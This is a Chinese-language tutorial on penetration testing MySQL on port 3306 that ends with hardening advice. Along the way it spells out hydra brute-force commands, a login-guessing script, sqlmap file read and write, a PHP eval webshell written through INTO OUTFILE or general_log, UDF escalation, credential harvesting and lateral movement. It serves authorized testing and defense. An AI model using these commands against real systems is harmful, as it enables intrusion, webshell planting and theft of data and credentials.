MySQL 3306端口渗透全流程:从端口探测到提权与安全加固

发布时间:2026/10/6 21:19:03
MySQL 3306端口渗透全流程:从端口探测到提权与安全加固
1. 为什么3306端口值得专门做一次全流程梳理做安全评估这些年我几乎每次拿到目标授权范围后的第一件事就是把全端口扫一遍。扫描结果出来之后3306端口总是排在我优先关注清单的前几位。原因很简单MySQL作为使用率最高的开源关系型数据库之一部署量太大了而它的默认配置和运维习惯又给安全评估留下了太多可以切入的面。3306端口本身只是一个TCP端口真正危险的是它背后承载的MySQL服务。很多团队把MySQL部署在云服务器上为了方便远程管理直接把bind-address设为0.0.0.0或者绑定了公网网卡再配一个弱口令root密码。这种情况下3306端口就像一个敞开的大门谁都能上来试两下。这个话题适合谁看一个是刚接触Web安全、想系统了解数据库层面前沿打法的初学者另一个是已经能熟练打Web漏洞但对内网数据库渗透链路不熟的运维或开发。全文会按照一次完整的授权测试流程来梳理从端口探测、指纹识别、弱口令尝试、SQL注入到权限扩展每一步都还原真实测试中的操作和判断逻辑。必须强调的是这篇文章里的所有思路和方法都只能在获得书面授权的目标范围内使用或者在自己的靶场、本地虚拟机里练习。越是有杀伤力的技术越要守得住底线。2. 信息收集阶段确认3306端口和MySQL指纹的真实打法2.1 端口探测不能只看Open状态多数新手拿到nmap的-sV结果之后看到3306端口显示open就开始高兴接着就急着去爆破。实际上这一步远远不够。端口是Open的不代表MySQL一定运行在这个端口上也不代表这个MySQL能正常通信。我在测试中遇到过不少反向代理、端口映射和防火墙规则导致的服务错乱所以信息收集阶段至少要确认三件事。第一确认端口上确实跑的是MySQL。用nmap的服务识别加版本探测nmap -sS -sV -p 3306 10.10.10.10版本信息里如果出现mysql字样比如mysql 5.7.44或者mysql 8.0.36就可以进入下一步。有些时候nmap返回的结果是tcpwrapped或者mysql但没有版本号这种情况说明可能存在防火墙拦截或者服务做了定制需要再用手工方式验证。第二确认MySQL版本的真实性。版本号直接决定了后续能不能打已知漏洞。比如MySQL 5.6及以下版本和老版本的5.7存在不少已经公开的提权或者代码执行漏洞MySQL 8.0早期版本的认证插件也出过问题。nmap识别到的版本号不一定可信因为有些管理员会在配置里伪造版本信息或者通过mysql_native_password的握手包干扰扫描器。更可靠的确认方式是直接用MySQL客户端建立一个会话或者用Python的pymysql、mysql-connector-python尝试握手mysql -h 10.10.10.10 -P 3306 -u root -p握手过程中服务器返回的Server version字段是相对可信的。即使输错密码版本信息也会先返回。这一步基本能确认MySQL真实存在。第三确认3306端口是否有acl限制。很多安全做得好的目标虽然3306对外开放但会配置iptables或安全组只放行特定IP。如果我测试用的出口IP不在白名单里那些爆破类操作基本没用。快速判断方式是用telnet或者nc测试nc -zv 10.10.10.10 3306能连上不代表后续能做事连不上也别急着判断可能是目标主动屏蔽了扫描器IP换个出口或者用HTTP代理中转再试一次。2.2 指纹识别从握手包和错误回显里找线索端口确认是MySQL之后下一步是尽可能精准地拿到版本和目标的基础信息。这一步最重要因为后面的漏洞利用方案完全是围绕版本来选的。手工获取版本信息最快的方式是直接发起一个握手请求。我习惯用Python快速写一个TCP连接脚本把MySQL的协议握手流程跑一下因为有些时候用现成客户端反而会受到SSL校验或认证插件问题的影响import socket def mysql_handshake(ip, port3306, timeout5): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) data sock.recv(1024) print(Raw handshake:, data[:200]) # 解析协议版本、服务器版本、连接ID、认证插件等 sock.close() mysql_handshake(10.10.10.10)握手包里通常包含协议版本号、服务器版本字符串、连接线程ID、salt、认证插件名。这些信息能直接告诉我三件事MySQL的大版本、当前连接用的认证插件是mysql_native_password还是caching_sha2_password以及目标是否开启了SSL。这里有个很实用的经验如果握手包里的认证插件是caching_sha2_password说明目标至少是MySQL 8.0及以上版本如果是mysql_native_password大概率是5.7及以下版本。这个判断对后续是否尝试UDF提权、是否走老的认证绕过思路非常关键因为老版本的认证插件和新版本的默认配置差异很大。2.3 未授权访问的试探比爆破更优先做的事在爆破之前务必试一次空密码和匿名登录。很多MySQL实例在初始化之后root账号的密码是空的或者是数据库本机账号只设置了localhost权限但管理员为了方便额外创建了root%账号。直接尝试空密码连接是成本最低的测试mysql -h 10.10.10.10 -P 3306 -u root --skip-password如果连接成功说明这个MySQL存在未授权访问漏洞后面的步骤可以省掉一大半。连接成功后第一件事不是急着查数据而是看权限SELECT CURRENT_USER(); SHOW GRANTS;CURRENT_USER()能看出当前以什么身份连接SHOW GRANTS能看出权限边界。有些目标虽然允许空密码登录但只给了SELECT权限这种就只能做数据读取没法进一步写文件或提权。不过即使只有查询权限对于一次测试来说已经能拿到很关键的数据了。未授权访问还有一种情况是MySQL服务对外完全开放但账号只能本地登录远程连接会被拒绝报错内容类似Access denied for user rootlocalhost。这种状态下如果3306端口同时对外开放了phpMyAdmin、Adminer之类的Web管理入口就变成先打Web端再用Web端的数据库连接功能迂回操作。3. 弱口令与账号枚举从爆破到验证的一条龙流程3.1 爆破前必须想清楚的几件事很多初学者拿到3306开放的第一反应就是hydra爆破root密码。但爆破MySQL和爆破SSH不太一样有几个隐藏问题必须先弄清楚不然要么爆破没效果要么直接把目标账号锁住打草惊蛇。第一MySQL本身有登录失败次数的限制吗默认情况下MySQL并不内置锁定策略但很多企业会通过安全组件或定时脚本实现连续失败锁定。如果爆破频率太高可能造成账号被锁反而暴露了测试行为。第二目标MySQL的max_connect_errors参数设置。默认是100超过这个数值后主机会暂时拒绝该IP的连接请求而且直观表现是能连上但报错Host is blocked。这里有个踩过的坑hydra没有控制连接频率时经常把目标的连接错误数打到上限后面合法的测试流量也进不去整个评估进度被拖慢。第三密码字典的选择。最有效的不是几十G的超大字典而是精准匹配目标的字典。比如目标是一卡通系统、学校OA或者企业ERP优先尝试root/admin/123456/88888888/数据库名年份这类组合。我在一个授权项目中遇到过某管理系统的MySQL密码设置成公司域名加年份这种信息在子域名和ICP备案里就能看出来根本不需要跑通用字典。3.2 hydra和自写脚本的实战效率对比hydra是爆破MySQL最常见的选择命令很简单hydra -l root -P pass.txt 10.10.10.10 mysql但实际测试中hydra的默认行为是每个密码都建立一次完整TCP连接和MySQL握手速度上限并不高。如果目标的3306端口限速或者有连接检测hydra很容易失效。更好的方式是精准限制并发和尝试间隔hydra -l root -P ./pass.txt -t 4 -f -W 5 10.10.10.10 mysql-t 4控制并发线程数-W 5是每个连接尝试之间的等待时间。这样虽然慢但不容易触发目标主机的连接错误限制。如果手里有针对目标的社工字典命中率会比高频爆破高很多。对于一些需要快速验证的账号密码组合我习惯自己写一个小脚本用pymysql建立连接然后执行一条简单SQL根据是否能成功execute来判断账号密码是否正确import pymysql def try_login(ip, port, user, password): try: conn pymysql.connect( hostip, portport, useruser, passwordpassword, connect_timeout5 ) cursor conn.cursor() cursor.execute(SELECT VERSION()) print(f[] Success: {user}:{password} - {cursor.fetchone()}) conn.close() return True except Exception as e: return False这个脚本的好处是可以自由控制尝试频率和补充业务判断逻辑比如先检测账号是否存在报错信息不同再决定要不要继续试密码。有些目标在账号不存在时的报错是Access denied for user test...而账号存在但密码错误时虽然报错也是Access denied但错误信息里会携带using password: YES之类的标识。通过这种差异可以先把有效用户名枚举出来。3.3 密码进来之后先看权限再动数据爆破成功或者拿到一个合法口令之后很多人第一反应是select * from users。这个顺序有问题。正确做法是先执行权限和角色查询确认自己能做什么再决定接下来做什么。因为同样是登录成功SELECT权限、FILE权限、SUPER权限带来的能力完全不同。SHOW GRANTS FOR CURRENT_USER(); SELECT CURRENT_USER(); SELECT hostname, port, datadir, version, secure_file_priv;secure_file_priv这个参数尤其重要——它决定了LOAD_FILE()和INTO OUTFILE能不能用。如果这个值是空字符串说明MySQL对文件读写没有目录限制如果值是NULL说明完全禁止文件读写如果是具体路径如/var/lib/mysql-files/那读写范围被限制在那个目录里。这个参数直接决定后续能不能写webshell、能不能读系统文件。权限确认之后再去看数据。查数据也有讲究别一上来就查什么敏感表。先看有哪些库SHOW DATABASES;判断是否有非默认数据库、业务数据库、备份库、测试库。测试库往往有惊喜比如数据比生产库还全或者权限配得比生产库还宽松。重点关注mysql库下的user表它可以帮你了解目标的账号体系甚至直接修改密码或者添加新账号。4. SQL注入到MySQL接管Web入口如何落地到33064.1 判断注入点后如何关联到数据库权限很多场景下3306端口本身不直接暴露但业务系统存在SQL注入这种情况下最终目标还是落到MySQL的数据权限上。两者的链路是一样的注入点 - 确认数据库类型和版本 - 提权到文件读写 - 尝试getshell。先要确认注入点后面是不是MySQL。报错特征很直观MySQL报错常见关键字You have an error in your SQL syntax、Mysql::、supplied argument is not a valid MySQL result resource报错注入函数updatexml()、extractvalue()、floor()这些都是MySQL特色注释风格--、#、/*!*/其中#注释是MySQL的典型特征确认是MySQL之后通过sleep(5)或者benchmark(10000000,sha1(test))做时间盲注确认当前用户是否有较高的权限。我一般会优先执行and (select 1 from mysql.user limit 0,1) 0如果能正常返回说明当前数据库连接用户有权限读取mysql.user表大概率是root或者具备高权限的账号。这个判断对后续决定是否继续深入很关键。普通业务账号只有select权限的话注入基本只能读数据没法向文件系统扩展。4.2 sqlmap工具的授权测试姿势sqlmap是注入测试里绕不开的工具但它不是万能药。拿到一个注入点之后我通常是先用sqlmap做自动化确认然后手工验证关键步。基础命令sqlmap -u http://target.com/news.php?id1 --dbmsmysql --batch如果注入点存在接着做权限和库表信息收集sqlmap -u http://target.com/news.php?id1 --dbmsmysql --privileges --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql --dbs --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql -D target_db --dump --batch但sqlmap在执行大量自动化请求时容易触发WAF或日志告警。更稳妥的做法是把流量放慢加--delay2或者用--safe-url搭配一个正常的请求做间隙请求。还有一个实用参数是--no-cast有些场景下MySQL版本较新sqlmap默认的CAST类型转换会失败加这个参数能提高成功率。sqlmap最核心的扩展功能是文件读写和命令执行前提是数据库账号具备FILE权限和secure_file_priv允许。文件读取sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-read/etc/passwd --batch一旦能读文件就可以尝试读Web配置文件、数据库配置文件、源码文件进一步扩大战果。文件写入sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-write/tmp/shell.php --file-dest/var/www/html/shell.php --batch这一步成功的话等于直接getshell。但实际成功率取决于很多因素MySQL的secure_file_priv限制、Web目录的写权限、--file-dest的路径是否正确。我统计过真实项目中sqlmap文件写入直接成功的比例并不高多数时候需要结合手工确认路径。4.3 写shell的路径推断与文件权限验证写shell最让人头疼的不是能不能写而是写到哪。路径推断有几个稳妥的来源报错信息泄露。让页面报个500有时候完整物理路径就出来了。读Web配置文件。常见路径/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/var/www/html/wp-config.php。信息收集阶段的目录扫描。如果扫出来有/phpmyadmin/、/adminer.php这些脚本目录通常和Web根目录在同一存储上可以直接推断。路径确认之后写shell之前先做文件写入测试。写一个内容无害的探针文件SELECT test_probe INTO OUTFILE /var/www/html/probe.txt;然后访问http://target.com/probe.txt能访问到就说明路径正确且目录可写。如果访问不到看看有没有可能被CDN或者目录规则拦掉了也可以尝试写到其他物理路径比如/tmp/后续靠别的漏洞配合执行。关于shell内容别写太大的马。很多Web环境有上传校验、WAF、运行目录限制。我一般先写一个最小化的PHP探针确认解析没问题后再决定要不要传功能更全的马。小马内容越简单越好比如?php echo md5(probe); ?能解析出结果了再考虑下一步操作。直接上大马很容易被安全设备抓到特征没必要在授权测试里冒这个风险。5. 拿到数据库权限之后的扩展思路提权与文件系统交互5.1 UDF提权的真实条件与常见失败原因UDFUser Defined Function提权是MySQL渗透里提到最多、实际成功率却不太高的一条路因为条件限制非常死。原理是通过自定义函数调用系统命令。标准流程是把UDF动态库文件写入MySQL插件目录创建自定义函数然后通过sys_exec()或sys_eval()执行系统命令。但每一步都有坑。先看插件的存放目录SHOW VARIABLES LIKE plugin_dir;我们需要把so文件Linux或dll文件Windows写进这个目录。写入文件的方式有两条路一是数据库具备FILE权限且secure_file_priv允许直接用SELECT ... INTO DUMPFILE写二是如果已经能通过SQL注入或其他方式拿到Webshell直接上传到插件目录。这里的第一个坑MySQL 8.0默认移除了UDF文件的匿名写入支持。老版本可以用SELECT ... INTO DUMPFILE直接写二进制文件新版本的secure_file_priv默认是NULL大部分情况下写不进去。第二个坑系统表mysql.func需要INSERT权限。如果当前账号不是root或者不是所有库的ALL PRIVILEGES创建函数时会报错。第三个坑MySQL服务运行用户对插件目录的写权限。很多Linux环境下MySQL使用独立的mysql用户运行插件目录是root所有Web服务写的文件落在插件目录后MySQL加载时可能因为权限问题失败。所以我的建议是先别急着UDF提权先确认当前账号是不是root、plugin_dir在哪、secure_file_priv是什么状态。如果三个条件都满足再走UDF如果不满足果断换思路。5.2 general_log日志写shell的适用场景UDF走不通时另一个实用思路是利用MySQL的通用日志general_log写shell。原理是把general_log开关打开、把日志输出目录改成Web目录然后把SQL语句作为日志内容写进去日志文件就是一个包含PHP代码的文件了。默认情况下general_log是关闭的但如果有SUPER权限可以动态修改SET global general_log ON; SET global general_log_file /var/www/html/shell.php;然后执行一条包含恶意代码的SQLSELECT ?php eval($_POST[cmd]); ?;这条SQL会以日志的形式追加到/var/www/html/shell.php里。之后访问这个文件就能触发里面的PHP代码。这个思路在实际测试里成功率比UDF高因为绕过了secure_file_priv的限制也不用考虑插件目录权限。它的前提是当前账号有SUPER权限或SET GLOBAL权限而这在拿到root账号之后基本都能满足。但是有一个很隐蔽的坑PHP解析器只认?php开头的标签而general_log日志里除了我们写入的SQL还会记录连接时间、连接ID、操作日志等额外内容。日志文件里的内容不是纯粹的PHP前面会有大量非PHP文本如果这些文本里出现?php之外的干扰字符不影响PHP解析——PHP解析器会忽略标签外的内容但文件里如果有多个?php标签或者我们写入的语句本身被日志格式拆分可能导致解析出错。实际操作的技巧是SELECT ?php phpinfo();?写完后访问这个文件确认能解析。如果文件内容里被切断了多写几次每次在SQL语句末尾加上注释符#尽量让日志在每一行的结尾保持完整PHP标签。5.3 MySQL客户端连接文件的利用除了直接在MySQL里操作还可以看看目标主机上有没有MySQL客户端留下的连接记录和配置文件。Linux下常见位置/root/.my.cnf~/.mysql_history/etc/mysql/应用目录下的application.yml、db.php、.env这些文件里经常明文保存数据库口令。拿到这些口令可以继续复用用同一个数据库账号去连接其他主机形成横向扩展。我在一次评估中从目标一个应用的.env文件里拿到了数据库密码之后用这个密码去尝试开放了3306的其他网段主机又打下来三台。这种密码复用的问题在真实环境中相当普遍。6. 内网与横向移动靠3306端口打开一片新天地6.1 拿下一台外网主机后如何借用3306做跳板很多目标的3306端口不对公网开放但从拿下的一台外网主机可以跳到内网去连接其他数据库。这种情况下最常用的手段是利用已经控制的Linux主机做端口转发把内网某台主机的3306端口转发到本地。经典思路是用ssh -L做本地端口转发前提是拿到目标主机的SSH权限ssh -L 13306:192.168.1.100:3306 rootpublic-target.com之后本地连接127.0.0.1:13306流量经过跳板机转发到内网的192.168.1.100:3306。这样就能用本地的MySQL客户端去访问原本无法直达的内网数据库。如果目标环境没有SSH或者SSH不可达还可以用MySQL自身的INSTALL PLUGIN配合代理工具或者写一个简单的socket转发脚本但这些方式比SSH转发复杂得多稳定性也差。优先推荐SSH隧道方案。6.2 内网横向中MySQL弱口令的高命中场景内网环境里数据库弱口令的命中率通常高于外网因为很多内网系统上线后没有人做基线审计运维为了方便密码设置非常随意。常见组合root / rootroot / 123456root / 12345678root / root123root / 数据库名2024test / testadmin / admin888在内网扫描时速度可以适当提上去因为内网连接质量高。我喜欢配合nmap做批量探测先发现内网中的所有3306端口再对存活主机做账号口令验证nmap -sV -p 3306 192.168.1.0/24拿到一批3306存活主机后使用一个简单的密码验证脚本批量尝试比单台爆破效率高得多。但要注意控制速度避免内网安全设备报警。还有一个容易被忽略的细节——内网数据库通常不止一台同一个密码可能同时管理十几台实例。拿下一台之后保留证据继续横向测试时要克制避免破坏线上业务。6.3 大内网扫描时的CIDR计算与存活判断内网扫描时很多新手一上来就扫整个192.168.0.0/16这在实际场景里既慢又容易被发现。正确的思路是先用存活主机探测缩小范围再精准扫描3306。存活判断推荐用nmap -sn做大范围ICMP探测然后用TCP SYN扫描配合--open只显示开放端口。针对3306端口nmap -sn 192.168.1.0/24 nmap -sS -p 3306 --open 192.168.1.0/24有时候目标禁ICMP-sn的结果不可靠可以用TCP ACK pingnmap -PA -p 80,443,3306,3389 192.168.1.0/24针对每种网段规模CIDR划分需要算清楚。/24是256个IP/16是65536个IP扫描时长和日志量完全不是一个量级。除非有明确授权和充分必要性大网段全端口扫描不是值得推广的习惯容易引发大面积业务告警。判断哪些网段值得扫可以从目标网络架构图、已经获取的网卡配置、路由表、DNS解析记录里找线索。先在内网机器上执行ip addr route -n arp -a cat /etc/hosts这些信息能直接告诉你当前主机的网段、网关和已知的其他主机比盲目大网段扫描精准得多。7. 防守视角从测试链条反推MySQL加固的关键点7.1 账号、权限与暴露面的基线检查站在防守方看前面所有测试手段之所以能成立绝大多数原因是基础运维动作没做到位。我在这里把自己实际检查的基线项列出来每一条都对应前面流程里的某个突破口。第一绑定地址和网络暴露。MySQL配置文件my.cnf或my.ini里必须有bind-address 127.0.0.1或者只绑定内网网卡地址。如果必须对外提供服务要在防火墙或安全组层面加IP白名单。3306端口直接对全公网开放是所有问题的开始。第二账号权限的收敛。检查mysql.user表SELECT user, host, authentication_string FROM mysql.user; SELECT * FROM information_schema.user_privileges WHERE GRANTEE LIKE %root%;重点关注root账号是否允许远程登录host是%、是否存在无密码账号、是否存在只有用户名没有密码的过期账号。生产环境root账号只保留localhost登录远程访问用专用账号并按业务最小化授权。第三口令强度与密码策略。MySQL 5.7及以上版本可以启用validate_password插件强制密码复杂度。但插件只是防线之一更关键的是禁止使用历史运维习惯里的通用密码。内部定期的账号口令审计最多不超过一个季度一次。第四secure_file_priv的设置。如果业务不需要MySQL读写文件统一设置为NULL表示禁用文件导入导出secure-file-priv NULL如果确实有备份或导入需求只放行指定目录secure-file-priv /data/mysql-files这个选项能直接封死INTO OUTFILE和LOAD_FILE()的利用链。7.2 日志、审计与异常连接监测数据库层面的安全不止是配置监测同样重要。MySQL开启general_log会带来比较大的性能开销生产环境一般不建议常态开启但可以开启slow_query_log和二进制日志。二进制日志本身记录所有变更操作对于追踪数据被篡改或导出很有帮助。更实用的手段是从连接侧和端口侧做监控异常来源IP某台数据库实例突然出现大量来源IP完全陌生的连接不管是成功还是失败都值得告警。失败连接次数的突增短时间内在同一账号上出现大量Access denied往往说明有人在尝试弱口令。非工作时间的高频查询长期没有业务流量的旧系统半夜出现大量查询大概率是被外部访问了。用系统层的tcpdump抓3306端口的流量也能看到很多端倪。识别异常SQL连接模式比如执行时间极短、频率极高的重复查询通常不是正常业务形态。还有一点——观察连接成功后的第一条SQL。正常业务程序通常先SET NAMES或执行查询而人工连接通常会先执行SELECT version或SHOW GRANTS这也是一个容易被忽略的行为特征。7.3 版本更新与已知漏洞的修复优先级MySQL的版本更新节奏比较快5.7系列已经进入EOY阶段官方停止维护后再出问题就没有补丁了。实际检查中我最常见的两个风险场景一是老版本5.7停止更新后业务侧因为兼容性问题迟迟不升级二是8.0系列发布早期版本后管理员不跟进小版本。我建议至少做到两点任何MySQL实例不低于官方支持的最低版本且小版本保持最近一两个季度内的补丁。关注官方安全公告中和数据库认证、权限提升、溢出相关的更新按严重程度排序升级。版本升级不是一件小事会遇到兼容性问题所以测试环境要先行。升级前先做全量备份并在测试环境跑一遍业务核心链路成功后再同步生产。8. 最后再讲点个人经验回过头来看3306端口这条线它其实是整个渗透测试流程的一个缩影。端口本身没有善恶真正的风险来自配置、口令、版本和权限管理。我在做测试时有个习惯每打完一个目标都会回头整理一份加固建议给对方毕竟拿到权限不是目的帮对方看清楚防御短板才是评估的价值所在。给正在学这块的朋友几个实在的建议。第一一定在本地搭一套靶场环境再练习不要拿真实业务系统试手出了事不是技术问题而是法律问题。第二信息收集做扎实比堆工具更重要很多测试失败都是因为连目标是什么版本都没确认就开始动手。第三多记录自己每一步的判断依据复盘时才能看出哪些动作是有效的、哪些是多余的。第四工具用顺手了之后尝试全手工操作一遍这样你对MySQL协议、认证流程、权限模型的理解深度会完全不一样。希望这篇全流程梳理能帮你在下一次测试里少走点弯路。